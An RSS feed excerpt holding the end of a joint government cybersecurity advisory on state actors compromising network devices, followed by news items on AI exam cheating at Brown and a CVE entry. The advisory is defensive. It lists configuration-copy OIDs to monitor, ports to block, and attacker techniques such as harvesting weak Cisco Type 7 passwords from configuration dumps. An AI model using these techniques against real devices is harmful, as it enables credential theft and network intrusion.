<li>SNMPv3 adds strong authentication and data encryption that are unavailable in SNMPv1 and v2. SNMPv3 replaces clear text shared passwords, known as community strings, with more securely encoded parameters, and authenticates and encrypts data [<a href="https://d3fend.mitre.org/technique/d3f:MessageAuthentication" target="_blank">D3-MAN</a>, <a href="https://d3fend.mitre.org/technique/d3f:MessageEncryption" target="_blank">D3-MENCR</a>].</li>
</ul>
</li>
<li>Use strong, unique passwords for local accounts on network devices and configure credentials to be stored securely to prevent reuse of compromised passwords [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>].
<ul>
<li>Cisco devices protect passwords in the configuration file using different hashing types. Use hashing type 8 for user credentials. Avoid using hashing type 0, 4, and 7 as they are insecure or store passwords in plaintext in the configuration file. [<a href="https://www.cisa.gov/#Work4">4</a>]</li>
<li>Monitor for unusual credentials that do not conform to standard organizational naming conventions [<a href="https://d3fend.mitre.org/technique/d3f:PlatformMonitoring" target="_blank">D3-PM</a>]. </li>
<li> Monitor for and alert on logins using local accounts. Local accounts should only be used in emergency situations when accounts supported by centralized authentication servers are unavailable. Centralized authentication to network devices should support multi-factor authentication where feasible. [<a href="https://www.cisa.gov/#Work3">3</a>]</li>
</ul>
</li>
<li>Monitor and restrict access to SNMP OIDs using a Management Information Base (MIB) allow list [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening" target="_blank">D3-ACH</a>]. [<a href="https://www.cisa.gov/#Work5">5</a>] Reference the vendor-specific MIB for the network devices and monitor OIDs for indications of reconnaissance or misconfiguration in logs or intrusion detection systems (IDS). IDS rules should be written for inbound SNMP Set-Requests that contain OIDs targeting sensitive device data [<a href="https://d3fend.mitre.org/technique/d3f:PlatformMonitoring" target="_blank">D3-PM</a>].<br>
<ul type="square">
<li>Example OIDs include:
<ul>
<li>1.3.6.1.4.1.9.9.96.1.1 (Cisco Config Copy)</li>
<li>1.3.6.1.4.1.9.9.96.1.1.1.1.5 (Config Copy Server Address, value for this OID is where the configuration file is being sent to) </li>
</ul>
</li>
</ul>
</li>
<li>Restrict management protocols [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficFiltering" target="_blank">D3-NTF</a>].
<ul>
<li>Use Access Control Lists (ACLs) to only allow management protocols, such as SNMP, from management devices, preferably on an out-of-band network. [<a href="https://www.cisa.gov/#Work3">3</a>]</li>
<li>On edge firewalls and devices deny all external communications on the following ports unless mission critical, with strict monitoring if blocking is not feasible:
<ul>
<li>User Datagram Protocol (UDP) port 69 (TFTP) </li>
<li>Transmission Control Protocol (TCP) port 4786 (SMI)</li>
<li>UDP ports 161 and 162 (SNMP)</li>
<li>TCP/UDP ports 10161 and 10162 (SNMPv3)</li>
</ul>
</li>
</ul>
</li>
<li>Update network device software and firmware images, especially to patch known vulnerabilities, and upgrade end-of-life devices to supported ones. <br>
<ul type="square">
<li>Use an attack surface management service to identify and secure Internet-facing systems with weak configurations and known vulnerabilities [<a href="https://d3fend.mitre.org/technique/d3f:NetworkVulnerabilityAssessment" target="_blank">D3-NVA</a>].
<ul>
<li>U.S.-based federal, state, local, tribal, and territorial governments and U.S. critical infrastructure organiztions should consider signing up for CISA’s no-cost <a href="https://www.cisa.gov/cyber-hygiene-services">Cyber Hygiene services</a>.</li>
<li>U.S. Defense Industrial Base organizations should consider signing up for <a href="https://www.nsa.gov/About/Cybersecurity-Collaboration-Center/DIB-Cybersecurity-Services/" target="_blank">NSA’s DIB Cybersecurity Services</a>.</li>
</ul>
</li>
</ul>
</li>
</ul>
<h2><strong>Resources</strong></h2>
<p><strong>United States:</strong></p>
<ul type="disc">
<li><a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia">Russia Threat Overview and Advisories</a></li>
<li><a href="https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF" target="_blank">Network Infrastructure Security Guide</a></li>
</ul>
<p><strong>Canada:</strong></p>
<ul type="disc">
<li><a href="https://www.cyber.gc.ca/en/guidance/routers-cyber-security-best-practices-itsap80019" target="_blank">Routers cyber security best practices (ITSAP.80.019)</a></li>
<li><a href="https://www.cyber.gc.ca/en/guidance/security-considerations-edge-devices-itsm80101" target="_blank">Security considerations for edge devices (ITSM.80.101)</a></li>
<li><a href="https://www.cyber.gc.ca/en/guidance/guidance-securely-configuring-network-protocols-itsp40062" target="_blank">Guidance on securely configuring network protocols (ITSP.40.062)</a></li>
<li><a href="https://www.cyber.gc.ca/en/guidance/baseline-security-requirements-network-security-zones-version-20-itsp80022" target="_blank">Baseline security requirements for network security zones (ITSP.80.022)</a></li>
<li><a href="https://www.cyber.gc.ca/en/guidance/top-10-it-security-actions-protect-internet-connected-networks-and-information-itsm10089" target="_blank">Top 10 IT security actions to protect Internet-connected networks and information (ITSM.10.089)</a></li>
</ul>
<h2><strong>Works cited</strong></h2>
<p>[<a class="ck-anchor">1</a>] FBI. Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure. Alert Number: I-082025-PSA. 2025. <a href="https://www.ic3.gov/PSA/2025/PSA250820" target="_blank">https://www.ic3.gov/PSA/2025/PSA250820</a></p>
<p>[<a class="ck-anchor">2</a>] NSA. Cisco Smart Install Protocol Misuse. 2017. <a href="https://media.defense.gov/2019/Jul/16/2002157833/-1/-1/0/CSA-CISCO-SMART-INSTALL-PROTOCOL-MISUSE.PDF" target="_blank">https://media.defense.gov/2019/Jul/16/2002157833/-1/-1/0/CSA-CISCO-SMART-INSTALL-PROTOCOL-MISUSE.PDF</a></p>
<p>[<a class="ck-anchor">3</a>] NSA. Network Infrastructure Security Guide. 2023. <a href="https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF" target="_blank">https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF</a></p>
<p>[<a class="ck-anchor">4</a>] NSA. Cybersecurity Information Sheet Cisco Password Types: Best Practices. 2022. <a href="https://media.defense.gov/2022/Feb/17/2002940795/-1/-1/0/CSI_CISCO_PASSWORD_TYPES_BEST_PRACTICES_20220217.PDF" target="_blank">https://media.defense.gov/2022/Feb/17/2002940795/-1/-1/0/CSI_CISCO_PASSWORD_TYPES_BEST_PRACTICES_20220217.PDF</a></p>
<p>[<a class="ck-anchor">5</a>] NSA. Cybersecurity Information Sheet: Reducing the Risk of Simple Network Management Protocol (SNMP) Abuse. 2026. <a href="https://media.defense.gov/2026/Jul/09/2003959459/-1/-1/0/CSI_REDUCING_RISK_OF_SNMP_ABUSE.PDF" target="_blank">https://media.defense.gov/2026/Jul/09/2003959459/-1/-1/0/CSI_REDUCING_RISK_OF_SNMP_ABUSE.PDF</a></p>
<h2><strong>Footnotes</strong></h2>
<p><a class="ck-anchor"><sup>1</sup></a><sup>  </sup>Národní úřad pro kybernetickou a informační bezpečnost</p>
<p><a class="ck-anchor"><sup>2 </sup></a> Forsvarets Efterretningstjeneste</p>
<p><a class="ck-anchor"><sup>3</sup></a> Välisluureamet</p>
<p><a class="ck-anchor"><sup>4</sup></a> Riigi Infosüsteem Amet</p>
<p><a class="ck-anchor"><sup>5</sup></a> Sotilastiedustelu</p>
<p><a class="ck-anchor"><sup>6</sup></a> Suojelupoliisi</p>
<p><a class="ck-anchor"><sup>7</sup></a> Agence nationale de la sécurité des systèmes d’information</p>
<p><a class="ck-anchor"><sup>8</sup></a> Agenzia Informazioni e Sicurezza Esterna</p>
<p><a class="ck-anchor"><sup>9</sup></a> Agenzia Informazioni e Sicurezza Interna</p>
<p><a class="ck-anchor"><sup>10</sup></a> Służba Kontrwywiadu Wojskowego</p>
<p><a class="ck-anchor"><sup>11</sup></a> Nationellt Cybersäkerhetscenter</p>
<p><a class="ck-anchor"><sup>12</sup></a><sup> </sup>MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE DEFEND is a trademark of the MITRE Corporation.</p>
<p><a class="ck-anchor"><sup>13</sup></a> <a href="https://www.cve.org/CVERecord?id=CVE-2008-4128" target="_blank">CVE-2008-4128</a> only affects end-of-life Cisco devices.</p>
<h2><strong>Disclaimer of Endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<p><strong>United States organizations</strong></p>
<ul>
<li><strong>National Security Agency (NSA)</strong>
<ul>
<li>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a> </li>
<li>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov">DIB_Defense@cyber.nsa.gov</a> </li>
<li>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov">MediaRelations@nsa.gov</a></li>
</ul>
</li>
<li><strong>Cybersecurity and Infrastructure Security Agency (CISA)</strong> and<strong> Federal Bureau of Investigation (FBI)</strong>
<ul>
<li> U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA via the agency’s <a href="https://myservices.cisa.gov/irf" title="Incident Reporting System">Incident Reporting System</a>, its 24/7 Operations Center (<a href="mailto:report@cisa.gov">report@cisa.gov</a> or 888-282-0870), or your <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank">local FBI field office</a>. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment user for the activity; the name of the submitting company or organization; and a designated point of contact. </li>
</ul>
</li>
<li><strong>United States Department of Defense Cyber Crime Center (DC3)  </strong>
<ul>
<li>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil">DC3.DCISE@us.af.mil</a> </li>
<li>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank" title="https://dibnet.dod.mil/">https://dibnet.dod.mil</a>.</li>
<li> Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil">DC3.Information@us.af.mil</a></li>
</ul>
</li>
</ul>
<p><strong>Australian organizations</strong></p>
<ul>
<li><strong>Australian Signals Directorate</strong>
<ul>
<li>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank">cyber.gov.au</a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.</li>
</ul>
</li>
</ul>
<p><strong>Canadian organizations</strong></p>
<ul type="disc">
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices. 
<ul>
<li>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca">contact@cyber.gc.ca</a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank">Report a cyber incident - Canadian Centre for Cyber Security</a> or by phone at 1-833-CYBER-88 (1-833-292-3788).</li>
</ul>
</li>
</ul>
<p><strong>New Zealand organizations</strong></p>
<ul type="disc">
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz">info@ncsc.govt.nz</a></li>
</ul>
<p><strong>United Kingdom organizations</strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank">ncsc.gov.uk/report-an-incident</a> (monitored 24/7)</li>
</ul>
<p><strong>Estonia organizations</strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee">info@valisluureamet.ee</a></li>
</ul>
<p><strong>Finnish organizations</strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank">supo.fi/en/contact</a></li>
</ul>
<p><strong>French organizations</strong></p>
<ul type="disc">
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr">cert-fr@ssi.gouv.fr</a> or by phone at: 3218 or +33 9 70 83 32 18.</li>
</ul>
<p><strong>Italian Organizations</strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE): 
<ul>
<li>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank">https://www.sicurezzanazionale.gov.it/</a> </li>
</ul>
</li>
<li>Italian Internal Intelligence and Security Agency (AISI): 
<ul>
<li>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank">https://www.sicurezzanazionale.gov.it/</a> </li>
</ul>
</li>
</ul>
<h2><a class="ck-anchor"><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong></a></h2>
<p>See <a href="https://www.cisa.gov/#Table1"><strong>Table 1</strong></a> through <a href="https://www.cisa.gov/#Table10"><strong>Table 10</strong></a> for all the threat actor tactics and techniques referenced in this advisory.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 1: Reconnaissance</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><a class="ck-anchor"></a><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Active Scanning: Scanning IP Blocks</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1595/001/" target="_blank">T1595.001</a></td>
<td>Scan range of IP addresses</td>
</tr>
<tr>
<td>Active Scanning: Vulnerability Scanning</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1595/002/" target="_blank">T1595.002</a></td>
<td>Scan victims for vulnerabilities that can be used during targeting</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 2: Resource Development</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Acquire Infrastructure: Virtual Private Servers </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a> </td>
<td>Leverage VPS as infrastructure </td>
</tr>
<tr>
<td>Compromise Infrastructure: Network Devices </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1584/008/" target="_blank">T1584.008</a> </td>
<td>Compromise intermediate routers </td>
</tr>
<tr>
<td>Obtain Capabilities: Exploits </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1588/005/" target="_blank">T1588.005</a> </td>
<td>Use publicly available code to exploit vulnerable devices </td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 3: Initial Access</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exploit Public-Facing Application </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1190/" target="_blank">T1190</a> </td>
<td>Exploit publicly known CVEs </td>
</tr>
<tr>
<td>Proxy</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1090/" target="_blank">T1090</a></td>
<td>Use a connection proxy to direct network traffic </td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 4: Execution</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>System Services</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1569/" target="_blank">T1569</a></td>
<td>Executing commands via SNMP</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 5: Privilege Escalation</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exploitation for Privilege Escalation</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1068/" target="_blank">T1068</a></td>
<td>Exploit publicly known CVEs for escalated privileges</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 6: Stealth</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Obfuscated Files or Information</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1027/" target="_blank">T1027</a></td>
<td>Obfuscate source IP addresses in system logs, as actions may be recorded as originating from local IP addresses</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 7: Credential Access</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>OS Credential Dumping</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1003/" target="_blank">T1003</a></td>
<td>Collect router configuration with weak Cisco Type 7 passwords and Type 0</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 8: Collection</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Data from Configuration Repository: SNMP (MIB Dump) </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1602/001/" target="_blank">T1602.001</a> </td>
<td>Target MIB to collect network information via SNMP </td>
</tr>
<tr>
<td>Data from Configuration Repository: Network Device Configuration Dump</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1602/002/" target="_blank">T1602.002</a></td>
<td>Acquire credentials by collecting network device configurations</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 9: Command and Control</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Proxy </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1090/" target="_blank">T1090</a> </td>
<td>Use VPS for C2 </td>
</tr>
<tr>
<td>Application Layer Protocol </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1071/" target="_blank">T1071</a> </td>
<td>Open and expose a variety of different services, including TFTP and FTP</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 10: Exfiltration</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><a class="ck-anchor"></a><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exfiltration Over Alternative Protocol</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank">T1048</a></td>
<td>Exfiltrating over a different protocol than that of the existing command and control channel. </td>
</tr>
</tbody>
</table>
<h2><strong>Appendix B: MITRE D3FEND countermeasures</strong></h2>
<p>See <a href="https://www.cisa.gov/#Table11"><strong>Table 11</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 11: MITRE D3FEND Countermeasures</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><a class="ck-anchor"></a><strong>Countermeasure Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Description</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Application Configuration Hardening</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening" target="_blank">D3-ACH</a></td>
<td>
<ul type="disc">
<li>Use SNMPv3 and disable SNMPv1 and SNMPv2. </li>
<li>Use SNMP allowlisting to restrict access to OIDs and MIBs. </li>
<li>Disable Cisco Smart Install.</li>
</ul>
</td>
</tr>
<tr>
<td>Message Authentication</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAuthentication" target="_blank">D3-MAN</a></td>
<td>
<ul>
<li>Use SNMPv3 with strong authentication.</li>
</ul>
</td>
</tr>
<tr>
<td>Message Encryption</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageEncryption" target="_blank">D3-MENCR</a></td>
<td>
<ul>
<li>Use SNMPv3 to encrypt payloads.</li>
</ul>
</td>
</tr>
<tr>
<td>Credential Hardening</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a></td>
<td>
<ul>
<li>Use strong, unique passwords and store them securely.</li>
</ul>
</td>
</tr>
<tr>
<td>Platform Monitoring</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:PlatformMonitoring" target="_blank">D3-PM</a></td>
<td>
<ul type="disc">
<li>Monitor for unusual credentials. </li>
<li>Monitor SNMP Set-Requests for OIDs targeting sensitive device data.</li>
</ul>
</td>
</tr>
<tr>
<td>Network Traffic Filtering</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficFiltering" target="_blank">D3-NTF</a></td>
<td>
<ul type="disc">
<li>Use ACLs to only allow management protocols from management devices. </li>
<li>Block TFTP, SMI, and SNMP at edge firewalls.</li>
</ul>
</td>
</tr>
<tr>
<td>Network Vulnerability Assessment</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:NetworkVulnerabilityAssessment" target="_blank">D3-NVA</a></td>
<td>
<ul>
<li>Use an attack surface management service.</li>
</ul>
</td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[Grades dropped from 96 to 48 percent when a Brown professor made students take the exam without AI]]></title>
<description><![CDATA[An economics professor at Brown University suspects most of his 86 students used AI to cheat on a take-home exam that averaged 96 percent. When he made the final an in-person test, 18 students dropped the course, nine didn't show up, and the average fell to 48.6 percent. Two large studies from Ch...]]></description>
<link>https://tsecurity.de/de/3663023/ai-nachrichten/grades-dropped-from-96-to-48-percent-when-a-brown-professor-made-students-take-the-exam-without-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3663023/ai-nachrichten/grades-dropped-from-96-to-48-percent-when-a-brown-professor-made-students-take-the-exam-without-ai/</guid>
<pubDate>Sun, 12 Jul 2026 10:32:59 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1456" height="816" src="https://the-decoder.com/wp-content/uploads/2024/10/chatgpt_openai_chalkboard_classroom_design_illustration.png" class="attachment-full size-full wp-post-image" alt="Futuristic wireframe classroom in ChatGPT design in a digital space." decoding="async" fetchpriority="high"></p>
<p>        An economics professor at Brown University suspects most of his 86 students used AI to cheat on a take-home exam that averaged 96 percent. When he made the final an in-person test, 18 students dropped the course, nine didn't show up, and the average fell to 48.6 percent. Two large studies from China and UC Berkeley back up his case: where students lean on AI for homework, their proctored exam scores tank.</p>
<p>The article <a href="https://the-decoder.com/grades-dropped-from-96-to-48-percent-when-a-brown-professor-made-students-take-the-exam-without-ai/">Grades dropped from 96 to 48 percent when a Brown professor made students take the exam without AI</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2024-22830 | Anti-Cheat Expert Kernel Module 1.0.2202.6217 on Windows ACE-BASE.sys access control]]></title>
<description><![CDATA[A vulnerability classified as critical has been found in Anti-Cheat Expert Kernel Module 1.0.2202.6217 on Windows. This vulnerability affects unknown code in the library ACE-BASE.sys. The manipulation leads to improper access controls.

This vulnerability is listed as CVE-2024-22830. The attack m...]]></description>
<link>https://tsecurity.de/de/3662537/sicherheitsluecken/cve-2024-22830-anti-cheat-expert-kernel-module-1022026217-on-windows-ace-basesys-access-control/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662537/sicherheitsluecken/cve-2024-22830-anti-cheat-expert-kernel-module-1022026217-on-windows-ace-basesys-access-control/</guid>
<pubDate>Sun, 12 Jul 2026 01:52:53 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">critical</a> has been found in <a href="https://vuldb.com/product/anti-cheat:expert_kernel_module">Anti-Cheat Expert Kernel Module 1.0.2202.6217</a> on Windows. This vulnerability affects unknown code in the library <em>ACE-BASE.sys</em>. The manipulation leads to improper access controls.

This vulnerability is listed as <a href="https://vuldb.com/cve/CVE-2024-22830">CVE-2024-22830</a>. The attack must be carried out locally. There is no available exploit.]]></content:encoded>
</item>
<item>
<title><![CDATA[Brown Professor Suspects Majority of His Class Used AI To Cheat]]></title>
<description><![CDATA[Longtime Slashdot reader schwit1 shares a report from Inside Higher Ed: For the first time since he started teaching Welfare Economics and Social Choice Theory nearly two decades ago, Brown University economics professor Roberto Serrano gave his students a take-home midterm this spring. Quite a f...]]></description>
<link>https://tsecurity.de/de/3660962/it-security-nachrichten/brown-professor-suspects-majority-of-his-class-used-ai-to-cheat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3660962/it-security-nachrichten/brown-professor-suspects-majority-of-his-class-used-ai-to-cheat/</guid>
<pubDate>Sat, 11 Jul 2026 01:07:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Longtime Slashdot reader schwit1 shares a report from Inside Higher Ed: For the first time since he started teaching Welfare Economics and Social Choice Theory nearly two decades ago, Brown University economics professor Roberto Serrano gave his students a take-home midterm this spring. Quite a few students had expressed anxiety about being in a classroom after a gunman killed two students and injured nine in a December mass shooting at Brown, and so "it was appropriate," he said, to allow students to take their exams at home. But by the end of the semester, Serrano regretted the decision. Dozens of students in the class likely used artificial intelligence to cheat and earn perfect or near-perfect scores on their midterm, he said. Serrano in turn made the final exam in-person, which led more than a dozen students to drop the course and even more to fail it.
 
Administrators' response to the widespread cheating event has been "meek," he said, and the incident has raised questions about how universities can -- and should -- respond to AI-enabled cheating at scale. "I am not declaring [the midterm] void for now. I am going to give the class a chance to prove me wrong," he wrote. "That is, if the distribution of the final exam is roughly similar to the distribution of the midterm, I will count the midterm. Otherwise, which is of course what I expect to happen, I will declare the midterm void and reweigh the final accordingly." Serrano heard crickets from his students, but 18 of them subsequently dropped the class. Nine students remained enrolled but did not take the final exam. And Serrano said the results proved him right; three students earned a zero, and the average score on the final was 48.6 percent -- by far a historic low, he said. Previously, the average final exam score had never dropped below 65 percent. Only a few students scored similarly to how they did on the midterm.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Brown+Professor+Suspects+Majority+of+His+Class+Used+AI+To+Cheat%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F10%2F2215249%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F10%2F2215249%2Fbrown-professor-suspects-majority-of-his-class-used-ai-to-cheat%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



